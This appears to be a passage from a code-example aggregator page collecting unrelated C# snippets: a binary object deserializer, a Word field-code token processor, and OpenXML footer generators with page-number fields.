            case ObjectSerializer.TYPE_SINGLE:
                return(Reader.ReadSingle());

            case ObjectSerializer.TYPE_DATETIME:
                return(Reader.ReadDateTime());

            case ObjectSerializer.TYPE_TIMESPAN:
                return(Reader.ReadTimeSpan());

            case ObjectSerializer.TYPE_CHAR:
                return(Reader.ReadChar());

            case ObjectSerializer.TYPE_STRING:
                return(Reader.ReadString());

            case ObjectSerializer.TYPE_ENUM:
                return(Reader.ReadString());

            case ObjectSerializer.TYPE_BYTEARRAY:
                return(Reader.ReadByteArray());

            case ObjectSerializer.TYPE_GUID:
                return(Reader.ReadGuid());

            case ObjectSerializer.TYPE_NULL:
                return(null);

            default:
                throw new Exception("Object or value expected.");
            }

            FieldCode = Reader.ReadVariableLengthUInt64();

            if (Embedded)
            {
                CollectionCode = Reader.ReadVariableLengthUInt64();
                CollectionName = this.provider.GetFieldName(null, CollectionCode);
            }
            else
            {
                CollectionName = Reader.CollectionName;
            }

            if (FieldCode == 0)
            {
                TypeName = string.Empty;
            }
            else if (CheckFieldNames)
            {
                TypeName = this.provider.GetFieldName(CollectionName, FieldCode);
            }
            else
            {
                TypeName = CollectionName + "." + FieldCode.ToString();
            }

            LinkedList <KeyValuePair <string, object> > Properties = new LinkedList <KeyValuePair <string, object> >();

            while ((FieldCode = Reader.ReadVariableLengthUInt64()) != 0)
            {
                if (CheckFieldNames)
                {
                    FieldName = this.provider.GetFieldName(CollectionName, FieldCode);
                }
                else
                {
                    FieldName = CollectionName + "." + FieldCode.ToString();
                }

                FieldDataType = Reader.ReadBits(6);

                switch (FieldDataType)
                {
                case ObjectSerializer.TYPE_BOOLEAN:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadBoolean()));
                    break;

                case ObjectSerializer.TYPE_BYTE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadByte()));
                    break;

                case ObjectSerializer.TYPE_INT16:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt16()));
                    break;

                case ObjectSerializer.TYPE_INT32:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt32()));
                    break;

                case ObjectSerializer.TYPE_INT64:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadInt64()));
                    break;

                case ObjectSerializer.TYPE_SBYTE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadSByte()));
                    break;

                case ObjectSerializer.TYPE_UINT16:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt16()));
                    break;

                case ObjectSerializer.TYPE_UINT32:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt32()));
                    break;

                case ObjectSerializer.TYPE_UINT64:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadUInt64()));
                    break;

                case ObjectSerializer.TYPE_DECIMAL:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDecimal()));
                    break;

                case ObjectSerializer.TYPE_DOUBLE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDouble()));
                    break;

                case ObjectSerializer.TYPE_SINGLE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadSingle()));
                    break;

                case ObjectSerializer.TYPE_DATETIME:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDateTime()));
                    break;

                case ObjectSerializer.TYPE_TIMESPAN:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadTimeSpan()));
                    break;

                case ObjectSerializer.TYPE_CHAR:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadChar()));
                    break;

                case ObjectSerializer.TYPE_STRING:
                case ObjectSerializer.TYPE_ENUM:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadString()));
                    break;

                case ObjectSerializer.TYPE_BYTEARRAY:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadByteArray()));
                    break;

                case ObjectSerializer.TYPE_GUID:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadGuid()));
                    break;

                case ObjectSerializer.TYPE_NULL:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, null));
                    break;

                case ObjectSerializer.TYPE_ARRAY:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, this.ReadGenericArray(Reader)));
                    break;

                case ObjectSerializer.TYPE_OBJECT:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, this.Deserialize(Reader, FieldDataType, true)));
                    break;

                default:
                    throw new Exception("Unrecognized data type: " + FieldDataType.ToString());
                }
            }

            return(new GenericObject(CollectionName, TypeName, ObjectId, Properties));
        }
Beispiel #37
0
        /// <summary>
        /// Perform processing on a token. Note that this is not called for discarded tokens.
        /// Figure out what to do with a token. Check if it is a field, etc.
        /// </summary>
        /// <remarks>
        /// XML Word fields can either be simple, or complex. Complex are spread over multiple elements, and can also be nested.
        /// </remarks>
        /// <param name="token"></param>
        void ProcessToken(Token token)
        {
            OpenXmlElement element = token.SourceNode;

            // Handle complex-token delimiters
            if (token.IsOpen && element is FieldChar)
            {
                FieldChar fc = (FieldChar)element;
                if (fc.FieldCharType.HasValue)
                {
                    switch (fc.FieldCharType.Value)
                    {
                    // Start-marker a complex field
                    case FieldCharValues.Begin:
                        if (CurrentField != null)
                        {
                            CurrentField.ContainsNestedFields = true;
                        }

                        FieldData fieldData = new FieldData
                        {
                            FieldType   = FieldType.Complex,
                            FieldState  = FieldState.InFieldCode,
                            Instruction = "",
                            SourceStart = new Token(element.Parent, false)
                        };
                        // Push onto complex field stack
                        _fieldDataStack.Push(fieldData);
                        break;

                    // Partition of a complex field (switches from detecting instruction, to detecting field text)
                    case FieldCharValues.Separate:
                        if (CurrentField == null)
                        {
                            throw new Exception("Unexpected fldChar:separate");
                        }
                        CurrentField.FieldState = FieldState.InFieldText;
                        break;

                    // End-marker for a complex field
                    case FieldCharValues.End:
                        if (CurrentField == null)
                        {
                            throw new Exception("Unexpected fldChar:end");
                        }
                        CurrentField.FieldState = FieldState.Done;
                        CurrentField.SourceEnd  = new Token(element.Parent, true);

                        // Process the field
                        ProcessField(CurrentField);
                        // Pop off complex field stack
                        _fieldDataStack.Pop();
                        break;
                    }
                }
            }

            // Handle a field code (instrText) element within a complex field
            // That is, content that may be part of the instruction.
            if (token.IsOpen && element is FieldCode)
            {
                if (CurrentField != null && CurrentField.FieldState == FieldState.InFieldCode)
                {
                    FieldCode fieldCode = (FieldCode)element;
                    CurrentField.Instruction += fieldCode.InnerText;
                }
            }

            // Handle an entire simplefield
            if (token.IsOpen && element is SimpleField)
            {
                // E.g:
                // <fldSimple> <r> <t/> </r> </fldSimple>
                SimpleField sf = (SimpleField)element;

                FieldData fieldData = new FieldData
                {
                    Instruction = sf.Instruction,
                    FieldState  = FieldState.Done,
                    SourceStart = new Token(element, false),
                    SourceEnd   = new Token(element, true),
                    FieldType   = FieldType.Simple
                };
                ProcessField(fieldData);
            }
        }
Beispiel #38
0
        // Generates content of footerPart2.
        private void GenerateFooterPart2Content(FooterPart footerPart2)
        {
            Footer footer2 = new Footer() {MCAttributes = new MarkupCompatibilityAttributes() {Ignorable = "w14 wp14"}};
            footer2.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer2.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer2.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer2.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer2.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer2.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer2.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer2.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer2.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer2.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer2.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer2.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer2.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer2.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer2.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties1 = new SdtProperties();
            SdtId sdtId1 = new SdtId() {Val = -1382393284};

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery1 = new DocPartGallery() {Val = "Page Numbers (Bottom of Page)"};
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties1.Append(sdtId1);
            sdtProperties1.Append(sdtContentDocPartObject1);
            SdtEndCharProperties sdtEndCharProperties1 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            SdtBlock sdtBlock2 = new SdtBlock();

            SdtProperties sdtProperties2 = new SdtProperties();
            SdtId sdtId2 = new SdtId() {Val = 98381352};

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery2 = new DocPartGallery() {Val = "Page Numbers (Top of Page)"};
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties2.Append(sdtId2);
            sdtProperties2.Append(sdtContentDocPartObject2);
            SdtEndCharProperties sdtEndCharProperties2 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock2 = new SdtContentBlock();

            Paragraph paragraph28 = new Paragraph() {RsidParagraphAddition = "0005059E", RsidRunAdditionDefault = "0005059E"};

            ParagraphProperties paragraphProperties9 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId3 = new ParagraphStyleId() {Val = "Footer"};

            paragraphProperties9.Append(paragraphStyleId3);

            Run run44 = new Run();
            Text text29 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text29.Text = "Page ";

            run44.Append(text29);

            Run run45 = new Run();

            RunProperties runProperties23 = new RunProperties();
            Bold bold16 = new Bold();
            BoldComplexScript boldComplexScript16 = new BoldComplexScript();
            FontSize fontSize15 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript15 = new FontSizeComplexScript() {Val = "24"};

            runProperties23.Append(bold16);
            runProperties23.Append(boldComplexScript16);
            runProperties23.Append(fontSize15);
            runProperties23.Append(fontSizeComplexScript15);
            FieldChar fieldChar7 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run45.Append(runProperties23);
            run45.Append(fieldChar7);

            Run run46 = new Run();

            RunProperties runProperties24 = new RunProperties();
            Bold bold17 = new Bold();
            BoldComplexScript boldComplexScript17 = new BoldComplexScript();

            runProperties24.Append(bold17);
            runProperties24.Append(boldComplexScript17);
            FieldCode fieldCode3 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode3.Text = " PAGE ";

            run46.Append(runProperties24);
            run46.Append(fieldCode3);

            Run run47 = new Run();

            RunProperties runProperties25 = new RunProperties();
            Bold bold18 = new Bold();
            BoldComplexScript boldComplexScript18 = new BoldComplexScript();
            FontSize fontSize16 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript16 = new FontSizeComplexScript() {Val = "24"};

            runProperties25.Append(bold18);
            runProperties25.Append(boldComplexScript18);
            runProperties25.Append(fontSize16);
            runProperties25.Append(fontSizeComplexScript16);
            FieldChar fieldChar8 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run47.Append(runProperties25);
            run47.Append(fieldChar8);

            Run run48 = new Run() {RsidRunAddition = "00FB1F22"};

            RunProperties runProperties26 = new RunProperties();
            Bold bold19 = new Bold();
            BoldComplexScript boldComplexScript19 = new BoldComplexScript();
            NoProof noProof23 = new NoProof();

            runProperties26.Append(bold19);
            runProperties26.Append(boldComplexScript19);
            runProperties26.Append(noProof23);
            Text text30 = new Text();
            text30.Text = "2";

            run48.Append(runProperties26);
            run48.Append(text30);

            Run run49 = new Run();

            RunProperties runProperties27 = new RunProperties();
            Bold bold20 = new Bold();
            BoldComplexScript boldComplexScript20 = new BoldComplexScript();
            FontSize fontSize17 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript17 = new FontSizeComplexScript() {Val = "24"};

            runProperties27.Append(bold20);
            runProperties27.Append(boldComplexScript20);
            runProperties27.Append(fontSize17);
            runProperties27.Append(fontSizeComplexScript17);
            FieldChar fieldChar9 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run49.Append(runProperties27);
            run49.Append(fieldChar9);

            Run run50 = new Run();
            Text text31 = new Text() {Space = SpaceProcessingModeValues.Preserve};
            text31.Text = " of ";

            run50.Append(text31);

            Run run51 = new Run();

            RunProperties runProperties28 = new RunProperties();
            Bold bold21 = new Bold();
            BoldComplexScript boldComplexScript21 = new BoldComplexScript();
            FontSize fontSize18 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript18 = new FontSizeComplexScript() {Val = "24"};

            runProperties28.Append(bold21);
            runProperties28.Append(boldComplexScript21);
            runProperties28.Append(fontSize18);
            runProperties28.Append(fontSizeComplexScript18);
            FieldChar fieldChar10 = new FieldChar() {FieldCharType = FieldCharValues.Begin};

            run51.Append(runProperties28);
            run51.Append(fieldChar10);

            Run run52 = new Run();

            RunProperties runProperties29 = new RunProperties();
            Bold bold22 = new Bold();
            BoldComplexScript boldComplexScript22 = new BoldComplexScript();

            runProperties29.Append(bold22);
            runProperties29.Append(boldComplexScript22);
            FieldCode fieldCode4 = new FieldCode() {Space = SpaceProcessingModeValues.Preserve};
            fieldCode4.Text = " NUMPAGES  ";

            run52.Append(runProperties29);
            run52.Append(fieldCode4);

            Run run53 = new Run();

            RunProperties runProperties30 = new RunProperties();
            Bold bold23 = new Bold();
            BoldComplexScript boldComplexScript23 = new BoldComplexScript();
            FontSize fontSize19 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript19 = new FontSizeComplexScript() {Val = "24"};

            runProperties30.Append(bold23);
            runProperties30.Append(boldComplexScript23);
            runProperties30.Append(fontSize19);
            runProperties30.Append(fontSizeComplexScript19);
            FieldChar fieldChar11 = new FieldChar() {FieldCharType = FieldCharValues.Separate};

            run53.Append(runProperties30);
            run53.Append(fieldChar11);

            Run run54 = new Run() {RsidRunAddition = "00FB1F22"};

            RunProperties runProperties31 = new RunProperties();
            Bold bold24 = new Bold();
            BoldComplexScript boldComplexScript24 = new BoldComplexScript();
            NoProof noProof24 = new NoProof();

            runProperties31.Append(bold24);
            runProperties31.Append(boldComplexScript24);
            runProperties31.Append(noProof24);
            Text text32 = new Text();
            text32.Text = "37";

            run54.Append(runProperties31);
            run54.Append(text32);

            Run run55 = new Run();

            RunProperties runProperties32 = new RunProperties();
            Bold bold25 = new Bold();
            BoldComplexScript boldComplexScript25 = new BoldComplexScript();
            FontSize fontSize20 = new FontSize() {Val = "24"};
            FontSizeComplexScript fontSizeComplexScript20 = new FontSizeComplexScript() {Val = "24"};

            runProperties32.Append(bold25);
            runProperties32.Append(boldComplexScript25);
            runProperties32.Append(fontSize20);
            runProperties32.Append(fontSizeComplexScript20);
            FieldChar fieldChar12 = new FieldChar() {FieldCharType = FieldCharValues.End};

            run55.Append(runProperties32);
            run55.Append(fieldChar12);

            paragraph28.Append(paragraphProperties9);
            paragraph28.Append(run44);
            paragraph28.Append(run45);
            paragraph28.Append(run46);
            paragraph28.Append(run47);
            paragraph28.Append(run48);
            paragraph28.Append(run49);
            paragraph28.Append(run50);
            paragraph28.Append(run51);
            paragraph28.Append(run52);
            paragraph28.Append(run53);
            paragraph28.Append(run54);
            paragraph28.Append(run55);

            sdtContentBlock2.Append(paragraph28);

            sdtBlock2.Append(sdtProperties2);
            sdtBlock2.Append(sdtEndCharProperties2);
            sdtBlock2.Append(sdtContentBlock2);

            sdtContentBlock1.Append(sdtBlock2);

            sdtBlock1.Append(sdtProperties1);
            sdtBlock1.Append(sdtEndCharProperties1);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph29 = new Paragraph() {RsidParagraphAddition = "0005059E", RsidRunAdditionDefault = "0005059E"};

            ParagraphProperties paragraphProperties10 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId4 = new ParagraphStyleId() {Val = "Footer"};

            paragraphProperties10.Append(paragraphStyleId4);

            paragraph29.Append(paragraphProperties10);

            footer2.Append(sdtBlock1);
            footer2.Append(paragraph29);

            footerPart2.Footer = footer2;
        }
Beispiel #39
0
		public bool TryGetField (FieldCode code, out object value)
		{
			return fields.TryGetValue ((byte)code, out value);
		}
        public static void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            var footer1 = new Footer {
                MCAttributes = new MarkupCompatibilityAttributes {
                    Ignorable = "w14 w15 w16se w16cid wp14"
                }
            };

            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("cx", "http://schemas.microsoft.com/office/drawing/2014/chartex");
            footer1.AddNamespaceDeclaration("cx1", "http://schemas.microsoft.com/office/drawing/2015/9/8/chartex");
            footer1.AddNamespaceDeclaration("cx2", "http://schemas.microsoft.com/office/drawing/2015/10/21/chartex");
            footer1.AddNamespaceDeclaration("cx3", "http://schemas.microsoft.com/office/drawing/2016/5/9/chartex");
            footer1.AddNamespaceDeclaration("cx4", "http://schemas.microsoft.com/office/drawing/2016/5/10/chartex");
            footer1.AddNamespaceDeclaration("cx5", "http://schemas.microsoft.com/office/drawing/2016/5/11/chartex");
            footer1.AddNamespaceDeclaration("cx6", "http://schemas.microsoft.com/office/drawing/2016/5/12/chartex");
            footer1.AddNamespaceDeclaration("cx7", "http://schemas.microsoft.com/office/drawing/2016/5/13/chartex");
            footer1.AddNamespaceDeclaration("cx8", "http://schemas.microsoft.com/office/drawing/2016/5/14/chartex");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("aink", "http://schemas.microsoft.com/office/drawing/2016/ink");
            footer1.AddNamespaceDeclaration("am3d", "http://schemas.microsoft.com/office/drawing/2017/model3d");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("w15", "http://schemas.microsoft.com/office/word/2012/wordml");
            footer1.AddNamespaceDeclaration("w16cid", "http://schemas.microsoft.com/office/word/2016/wordml/cid");
            footer1.AddNamespaceDeclaration("w16se", "http://schemas.microsoft.com/office/word/2015/wordml/symex");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            var paragraph273 = new Paragraph {
                RsidParagraphAddition = "009B2C1D", RsidRunAdditionDefault = "009E39C2", ParagraphId = "71F3416E", TextId = "77777777"
            };

            var paragraphProperties176 = new ParagraphProperties();
            var paragraphStyleId1      = new ParagraphStyleId {
                Val = "leftRight"
            };

            paragraphProperties176.Append(paragraphStyleId1);

            var run396  = new Run();
            var text366 = new Text {
                Text = "Confidential Candidate CV"
            };

            run396.Append(text366);

            var run397   = new Run();
            var tabChar1 = new TabChar();

            run397.Append(tabChar1);

            var run398     = new Run();
            var fieldChar1 = new FieldChar {
                FieldCharType = FieldCharValues.Begin
            };

            run398.Append(fieldChar1);

            var run399     = new Run();
            var fieldCode1 = new FieldCode {
                Text = "PAGE"
            };

            run399.Append(fieldCode1);

            var run400     = new Run();
            var fieldChar2 = new FieldChar {
                FieldCharType = FieldCharValues.Separate
            };

            run400.Append(fieldChar2);

            var run401 = new Run();

            var runProperties394 = new RunProperties();
            var noProof30        = new NoProof();

            runProperties394.Append(noProof30);
            var text367 = new Text {
                Text = "2"
            };

            run401.Append(runProperties394);
            run401.Append(text367);

            var run402     = new Run();
            var fieldChar3 = new FieldChar {
                FieldCharType = FieldCharValues.End
            };

            run402.Append(fieldChar3);

            paragraph273.Append(paragraphProperties176);
            paragraph273.Append(run396);
            paragraph273.Append(run397);
            paragraph273.Append(run398);
            paragraph273.Append(run399);
            paragraph273.Append(run400);
            paragraph273.Append(run401);
            paragraph273.Append(run402);

            footer1.Append(paragraph273);

            footerPart1.Footer = footer1;
        }